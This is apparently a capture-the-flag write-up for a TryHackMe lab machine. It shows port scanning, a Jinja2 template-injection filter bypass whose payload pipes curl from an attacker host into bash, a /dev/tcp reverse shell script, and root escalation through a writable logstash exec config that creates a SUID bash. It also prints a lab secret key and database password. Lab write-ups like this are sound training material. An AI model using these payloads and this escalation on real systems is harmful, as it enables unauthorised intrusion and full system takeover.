Recon to foothold

As always let’s begin with a comprehensive scan

rob:~/ $ sudo masscan -p1-65535,U:1-65535 10.10.25.217 --rate=1000 -e tun0
[sudo] password for rob: 
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-11-18 20:26:39 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 21/tcp on 10.10.25.217                                    
Discovered open port 22/tcp on 10.10.25.217                                    
Discovered open port 80/tcp on 10.10.25.217                                    
Discovered open port 61337/tcp on 10.10.25.217                                 
Discovered open port 7/tcp on 10.10.25.217                                     
Discovered open port 23/tcp on 10.10.25.217  

And now an nmap to detail the found ports

rob:~/ $ nmap -A -T4 -v -p7,21,22,23,80,61337 -Pn 10.10.25.217
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-18 20:31 GMT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:31
Completed NSE at 20:31, 0.00s elapsed
Initiating NSE at 20:31
Completed NSE at 20:31, 0.00s elapsed
Initiating NSE at 20:31
Completed NSE at 20:31, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 20:31
Completed Parallel DNS resolution of 1 host. at 20:31, 0.01s elapsed
Initiating Connect Scan at 20:31
Scanning 10.10.25.217 [6 ports]
Discovered open port 23/tcp on 10.10.25.217
Discovered open port 80/tcp on 10.10.25.217
Discovered open port 21/tcp on 10.10.25.217
Discovered open port 22/tcp on 10.10.25.217
Discovered open port 61337/tcp on 10.10.25.217
Discovered open port 7/tcp on 10.10.25.217
Completed Connect Scan at 20:31, 0.02s elapsed (6 total ports)
Initiating Service scan at 20:31
Scanning 6 services on 10.10.25.217
Completed Service scan at 20:31, 6.11s elapsed (6 services on 1 host)
NSE: Script scanning 10.10.25.217.
Initiating NSE at 20:31
Completed NSE at 20:31, 7.24s elapsed
Initiating NSE at 20:31
Completed NSE at 20:31, 0.30s elapsed
Initiating NSE at 20:31
Completed NSE at 20:31, 0.00s elapsed
Nmap scan report for 10.10.25.217
Host is up (0.022s latency).

PORT      STATE SERVICE VERSION
7/tcp     open  echo
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 9e:30:c5:61:92:84:1b:24:64:86:c3:3b:b7:dc:99:34 (RSA)
|   256 78:c3:c3:83:81:73:cb:f1:50:41:f1:9a:d7:bf:3e:d1 (ECDSA)
|_  256 ec:ce:b8:f9:57:53:56:63:e9:61:90:12:15:e5:78:4a (ED25519)
23/tcp    open  telnet  Linux telnetd
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
61337/tcp open  http    Werkzeug httpd 2.0.1 (Python 3.6.9)
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://10.10.25.217:61337/login
|_http-server-header: Werkzeug/2.0.1 Python/3.6.9
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 20:31
Completed NSE at 20:31, 0.00s elapsed
Initiating NSE at 20:31
Completed NSE at 20:31, 0.00s elapsed
Initiating NSE at 20:31
Completed NSE at 20:31, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.31 seconds

Ok, we can check out the found ports one by one, but without credentials the ftp and telnet connections do not allow us to get any further

Port 7

This does indeed serve up an echo service as nmap found

rob:~/ $ nc 10.10.25.217 7
hello
hello
goodbye
goodbye
a
a

Anything we send is immediately reflected back to us

Port 21

Here we find an FTP server as expected, the ever-reliable vsftpd

rob:~/ $ ftp 10.10.25.217                           
Connected to 10.10.25.217.
220 (vsFTPd 3.0.3)
Name (10.10.25.217:rob): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.

Nothing to do here unless we can find some credentials

Port 23

On its common port, we have a telnet server

rob:~/ $ telnet 10.10.25.217
Trying 10.10.25.217...
Connected to 10.10.25.217.
Escape character is '^]'.
Ubuntu 18.04.6 LTS
temple login: admin
Password: 

Login incorrect
temple login: 
telnet> quit
Connection closed.

Again, without credentials we can’t do much here. telnet is bad for sending in the clear, but that doesn’t help us here where we’re not sniffing traffic

Port 80

We find the ubuntu default page

A little checking confirms there are no changes in the source, it really is as it appears

Port 61337

Here we find a redirect to a login page


Ok then, let’s have a look at port 80 in a little deeper detail, we’ll try some directory busting first

rob:~/ $ gobuster dir --url http://10.10.25.217 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt    
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.25.217
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/18 21:01:40 Starting gobuster in directory enumeration mode
===============================================================
/server-status        (Status: 403) [Size: 277]
                                               
===============================================================
2021/11/18 21:05:51 Finished
===============================================================

Alright, doesn’t seem to be anything obvious there, at least not on the default VHost

If we try the same directory busting on port 61337 we find a little more going on

rob:~/ $ gobuster dir --url http://10.10.25.217:61337 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.25.217:61337
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/18 21:07:01 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 403) [Size: 239]
/logout               (Status: 302) [Size: 218] [--> http://10.10.25.217:61337/login]
/login                (Status: 200) [Size: 1676]                                     
/home                 (Status: 302) [Size: 218] [--> http://10.10.25.217:61337/login]
/account              (Status: 302) [Size: 218] [--> http://10.10.25.217:61337/login]
/internal             (Status: 302) [Size: 218] [--> http://10.10.25.217:61337/login]
/application          (Status: 403) [Size: 239]                                      
/external             (Status: 302) [Size: 218] [--> http://10.10.25.217:61337/login]
/temporary            (Status: 403) [Size: 239] 

===============================================================
2021/11/18 21:34:03 Finished
===============================================================

We can also check for the existence of a robots.txt file, but we just get trolled 😄

<!-- Try harder --!>

If we try to send odd characters, like a ', we get a hacking warning response

All the directories we find give us either a 403 forbidden or a redirect to the /login page, perhaps there are sub-directories to those locations though, let’s keep on searching. This is slow going though, it seems that Werkzueg is not a speedy webserver, or we’re otherwise being slowed down

rob:~/ $ feroxbuster --url http://10.10.25.217:61337/temporary/dev -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.0.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.25.217:61337/temporary/dev
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.0.0
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200       97l      212w     1886c http://10.10.25.217:61337/temporary/dev/newacc

[#####>--------------] - 24m    57164/220545  1h      found:1       errors:0      
[#####>--------------] - 24m    57163/220545  -       http://10.10.25.217:61337/temporary/dev

Eventually though we get a result, first a subdirectory /temporary/dev and then a page within that directory, /temporary/dev/newacc. This page allows us to register an account!

Let’s attempt a login then with these credentials

Excellent, we have access! We can see a FQDN on this page, templeindustries.local, let’s add that to our /etc/hosts file and use it from here on, just in case there is more information available on a VHost (don’t think it does!)

Werkzueg is most often seen with templating frameworks like jinja2 or flask, so we’re on the lookout for SSTI (server-side template injection) vulnerabilities. One thing that stands out is that are obviously inserting user-specific data in the ‘Account’ view (and others)

Here we can see that the username, login time and source IP address are all being inserted into a template, however of these we can’t really do much about the IP address or time parameters, but what if we tried registering a new user and messed with the username parameter, could we get SSTI there? payloadsallthethings has a useful methodology picture we can start with

Let’s try creating a user with username ${7*7} then, and see what happens

Well it lets us create the account, what do we get when we login though?

Rats, that didn’t work. And neither does {7*7}, however persistence is rewarded and a username of {{7*7}} gives us a result

The maths expression has been evaluated and the answer 49 returned. We have SSTI!

Running through some of the potential payloads from payloadsallthethings we get some responses, some successful and some not so much

  • {{config.items()}}

    dict_items([('ENV', 'production'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SECRET_KEY', b'f#bKR!$@T7dCL4@By!MyYKqzMrReSGeNTC7X&@ry'), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', False), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', None), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), ('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093)])
    
  • {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}

    Error: Hacking attempt detected! You have been logged as 10.14.6.26. (Detected illegal chars in username). 
    

    It seems like the _ character is being filtered to stop us from sending python class paths, and the ' character to filter strings. However the " seems to work fine

  • {{self.\x5fTemplateReference\x5f\x5fcontext.cycler.\x5f\x5finit\x5f\x5f.\x5f\x5fglobals\x5f\x5f.os.popen(\x27id\x27).read()}} This one is accepted by the registration form, but crashes the application on the account page, at least this means that we can bypass the filter with this technique (hopefully that’s what it means! 😄 ). Another few attempts at this all give us an Internal Server Error, perhaps this isn’t so much of a bypass as a breaker!

    A little more testing, thinking, testing, thinking, repeat… and, what if the last form does bypass as we need it to, but can’t execute because what we’re asking it to do isn’t possible. Let’s try the bypass again, this time to grab a file from a web server

  • {{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl 10.14.6.26:9090/revshell | bash")|attr("read")()}} So finally the last filter bypass example given works for us (after replacing ' with ")

    We write a very simple reverse shell script

    rob:Temple/ $ cat revshell 
    #!/bin/bash
    
    bash -i 5<> /dev/tcp/10.14.6.26/1234 0<&5 1>&5 2>&5
    

    The shell script is pulled from our web server

    rob:Temple/ $ updog 
    [+] Serving /home/rob/Documents/TryHackMe/Temple...
    * Running on all addresses.
    WARNING: This is a development server. Do not use it in a production deployment.
    * Running on http://10.0.2.15:9090/ (Press CTRL+C to quit)
    10.10.135.168 - - [19/Nov/2021 11:01:12] "GET /revshell HTTP/1.1" 200 -
    

    And we pop a shell!

    rob:Temple/ $ nc -lnvp 1234
    listening on [any] 1234 ...
    connect to [10.14.6.26] from (UNKNOWN) [10.10.135.168] 40796
    bash: cannot set terminal process group (922): Inappropriate ioctl for device
    bash: no job control in this shell
    bill@temple:~/webapp$ id
    id
    uid=1000(bill) gid=1000(bill) groups=1000(bill),4(adm),24(cdrom),30(dip),46(plugdev)
    

User bill, privesc to root

After stabilising our shell we can find the first flag in /home/bill

bill@temple:~$ cat flag1.txt 
7362bee1e78243f4811f26565137d5e20cbd9af0

We can check ~/webapp/webapp.py and find the database credentials

def connect_database():

        global connection
        connection = pymysql.connect(host="localhost",
                                                        user="temple_user",
                                                        password="4$pCM!&bEEs$SR8H",
                                                        db="temple",
                                                        cursorclass=pymysql.cursors.DictCursor)
        return connection

But when we check we find that the database contains only the users we added while trying to hack in

The /etc/passwd file shows us a few users defined, frankie, jenny, princess. Checking the groups we can see that frankie has sudo rights, that might make the user a good target for a lateral move (it’s not needed in the end)

bill@temple:/etc$ groups frankie
frankie : frankie sudo

Doing some manual enumeration we find an interesting service running as root

bill@temple:~$ ps -aef | grep logstash
root      1257     1 79 10:57 ?        02:23:37 /usr/share/logstash/jdk/bin/java -Xms128m -Xmx256m -XX:+UseConcMarkSweepGC --snip--:/usr/share/logstash/logstash-core/lib/jars/snakeyaml-1.23.jar org.logstash.Logstash --path.settings /etc/logstash

We can find some interesting potential exploits of the logstash application here, let’s check if we have the prerequisites

bill@temple:~$ cat /etc/logstash/pipelines.yml 
# This file is where you define your pipelines. You can define multiple.
# For more information on multiple pipelines, see the documentation:
#   https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html

- pipeline.id: main
  path.config: "/etc/logstash/conf.d/*.conf"
bill@temple:~$ ls -la /etc/logstash/conf.d/*.conf
-r--r--rw- 1 root root 246 Nov 19 13:35 /etc/logstash/conf.d/logstash-sample.conf

Ok, we have a pipeline that points to a writeable file, and we also need a way to re-read the configuration

bill@temple:~$ grep config.reload.automatic /etc/logstash/logstash.yml 
config.reload.automatic: true

And we have that too! Let’s attempt to run the example given then and see if we get the expected output

bill@temple:/tmp$ cat /tmp/output.log
{
    "@timestamp" => 2021-11-19T13:36:56.339Z,
          "host" => "temple",
       "command" => "whoami",
       "message" => "root\n",
      "@version" => "1"
}

And again, we do!

We can then easily use this to print out the root flag

{
    "@timestamp" => 2021-11-19T13:44:17.327Z,
          "host" => "temple",
       "command" => "cat /root/flag2.txt",
       "message" => "f620630155081293669dbb7949f975fa9386f1cd\n",
      "@version" => "1"
}

If we wanted to get a root shell we could make a SUID copy of bash

bill@temple:~$ cat /etc/logstash/conf.d/logstash-sample.conf
--snip--
input {
  exec {
    command => "cp /bin/bash /home/bill/rootbash; chmod +xs /home/bill/rootbash"
    interval => 120
  }
}
--snip--
bill@temple:~$ ls -la rootbash 
-rwsr-sr-x 1 root root 1113504 Nov 19 13:53 rootbash
bill@temple:~$ ./rootbash -p
rootbash-4.4# id
uid=1000(bill) gid=1000(bill) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),1000(bill)